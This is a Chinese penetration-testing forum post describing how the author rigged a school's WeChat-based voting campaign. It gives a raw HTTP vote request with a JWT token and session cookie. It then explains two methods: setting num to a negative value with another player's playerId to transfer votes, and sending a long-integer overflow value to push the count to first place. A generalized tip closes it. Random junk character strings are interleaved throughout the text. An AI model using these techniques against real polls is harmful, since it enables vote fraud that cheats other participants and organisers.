中国网络渗透测试联盟
标题:
原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[打印本页]
作者:
admin
时间:
2021-12-30 13:52
标题:
原创逻辑漏洞测试之用两种方法在微信登陆openid验证情况下下成功刷票
[md]**最近一直在学习逻辑漏洞,偶然看到我家小孩学校组织的投票活动,得知老师组织这次投票活动,我专门向老师申请做一次逻辑漏洞测试,老师说非常欢迎,老师说对我这个玩电脑的家长早有耳闻,于是便有了以下的过程。此测试过程必须1、微信登陆下投票 2、token验证jwt加密,解密发现openid等参数**
/ N- x6 y* d. h W5 D
! O) u; O ]% u" q4 i
* E0 S/ L# b; P& W1 t
**1** **、第一种方法突破微信登陆投票**
- ?: O" b& }* S* S6 ^3 x+ s
, o5 Y9 o* z7 D1 V! a
一个微信账号一天投3票之扣别人的票增加自己的余票实现刷票
/ |- ]) A% j1 i7 r a
; {6 K) P6 M2 Q8 M, J: E
首先用微信识别老师发来的投票二维码如图:
9 T7 A' F Z3 E+ e4 `+ T( Z
* U& f& p: e2 N5 p: t, s

/ ~* m4 j2 V2 Z7 P1 I( U
* z) {! a' }2 B% ~8 }& q6 o
使用微信号登陆,不停的放包,直到这里
) s& F Z7 q( o% ?8 R5 r B
y+ C/ L @5 U, G

; ^! g" @/ \* [6 H
o* I* d7 Z7 c8 S% U& N
修改playerIdwei为别人的,因为用自己的playerid,自己的票数为变为-负数,修改num数为负数,如-9999,因为num参数可控,这时候你的票数会多出9999票,别人会少9999票,打个比方如图:
( s1 n0 L. p; l. g) E; Q
! r* g" u& B$ u: Q' p

7 ~! `0 c4 |7 f0 Q) j1 c
: [/ ~! K8 q' y/ w; [( d
" _# G( z% }5 K- M* w0 E
( y- x5 c, @2 Z$ d% ~; U5 |
这时候你就在你的账号不停歇的点投票就行,直到超过第一名,如图:
" K; ~/ {; T! E8 K8 o0 e
- }) I" d; u" m1 N

" U% D' o9 L, w3 u* h# ?3 M
! g! x5 o. R. g
2 L' o) W+ {4 F. x2 Q9 e* t
! M* [4 z! \3 f1 [8 r6 h" P4 V
票数瞬间变为1002票,本来一个微信号一天只能投一个选手3票,这时候已经成功突破,秒变1002票。。。
- G* J) m$ R+ g' `
& m' {0 `% O/ h1 h) N% z; a" Z
以上是第一种方法刷票,扣别人的票,加自己的余票,然后再刷给自己。。。**
- }! r8 K; ~2 |
( }/ e: z; o' ^
**2** **、**** ** **第二种方法利用** **long** **长整型溢出刷票**
$ a0 S- W" c4 J5 M9 n5 T
6 I8 G: b, n( c+ U. J0 Q
同样到这个包,如下:
( R$ [- V" s. U/ t- y
% B8 \( w/ p2 D6 e3 h5 ~ R
```
* T- E8 M) w( \1 M8 U2 {0 T
POST /vote/api/wx/voteFree/add HTTP/1.1
9 N8 V2 }! a- @* H0 m. E* a2 h9 o
Host: 111.cn
7 A v. D+ x; K- Z9 R
Content-Length: 73
- z' v0 W' O8 G2 j
Accept: application/json, text/javascript, */*; q=0.01
4 d F) {% {9 w% W, B, W7 h+ R0 ?, R$ m. o
X-Requested-With: XMLHttpRequest
2 c% P9 W9 Q, M1 q* W
User-Agent: Mozilla/5.0 (Linux; Android 10; TEL-AN00a Build/HONORTEL-AN00a; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/3773 MicroMessenger/8.0.15.2020(0x28000F3D) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64
5 u3 P: g4 L, V. R+ i7 R: u: h" g
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0
o; b1 `$ V6 U* Z# Y6 K6 f6 ?+ [1 [
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
) V# r& i) L/ c5 q
Origin:
http://111.cn
3 A M/ u5 [. M8 j6 m
Referer:
http://111.cn/welcome/detail.html?activityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&skin=default
v8 Z- J; u3 [% W x% j& x) s/ u2 P
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
4 @( {! W6 ~3 H9 I- j( ~5 X6 C
Cookie: SESSION=MWE3NDU3NWItM2MzMS00YWJmLTkxZTItNmU2MWQ0NzNhZDk5; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJqd3QtaWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwid3hPcGVuSWQiOiJvWmZMLXZuandCeWY1MU01Zm1CRlpZV0Z0ZFI4Iiwibmlja25hbWUiOiJkaWdleHBsb2l0IiwiZXhwIjoxNjM1MzAwNTY2fQ.0VBEVOvfDLfduF9MPto2D8Ok1Y9C90roMBMQzTn9oL0; appid=wx6656xxoocd3e6xxoo
# ~" T- S% I% |( j5 F$ y
Connection: close
0 ^3 K: Z9 |% g& I! Y1 a9 l' V1 ~
voteActivityId=37bd3ad6-38c0-437c-870a-801dc6fed2a7&playerId=139969&num=3
* \+ g! `8 d! r5 f. g2 N& Z
7 O0 W) O2 B; ^/ s! X l2 f2 K
```
- R1 a: }7 k; l# j0 c5 V. D
! a7 \3 C5 x+ @" t' O
修改num=3333333{},如图:
* E9 o- P9 X$ Z& J) I1 h! S' {
8 X6 x! b0 R! G8 r" ?

7 f1 b- m/ p$ n+ W
" A" U/ E: ^+ {6 t3 K% o
2 V4 ?4 o* y, d0 R& ?! g. F. h6 R
0 }/ @8 ^+ O$ C% [1 N6 t2 u
判断为long长整型,既然num=-333333可控,那我们就把num=-333333改为2的63次方,也就是num=-9223372036854775808,执行完以后,提示500错误,提示超出范围。。。然后微信打开投票二维码就卡半天了,恢复之前如图:
. R) z7 [% G0 D# J& G/ E4 D
" a* j/ |( R, e$ K% R

$ t. m- d: G, C3 G( o& A. z
+ W5 U+ v7 b# J6 `
: ^( ^" a8 C& G& n9 S0 ^
, z$ N( l8 s3 U0 w! i: L- N
这是之前测试的时候不小心搞成,所以才有了第二种方法。。。。。
; B9 s. S5 U, n
2 F6 x, l( B: B7 j
也就是刷票数为负 -270多万,如上图。。。
) |' D# p. [5 W. t7 p
4 _/ h' [6 { Y, b+ U) B
等溢出恢复以后票数变成15W多,排名第一,如图:
2 R6 B0 b0 V8 v2 X7 F2 H+ C! Z
) Q0 e# F6 P7 C4 L1 e/ |9 m" A# J
$ C' l- N& [( v& W1 q

% `* p9 {5 B$ z8 u' J; D: r _4 u
) [- m5 V2 l7 y& S7 L# v
**注:由于测试过程没有保存录像或图片,导致溢出以后的返回包没能贴图,不过没关系,正负数都试一遍,一般参数可负数的话,直接负的最大溢出量就够了。。。**
7 ^% g u3 ]; r# r7 U- T, Y; l
[/md]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2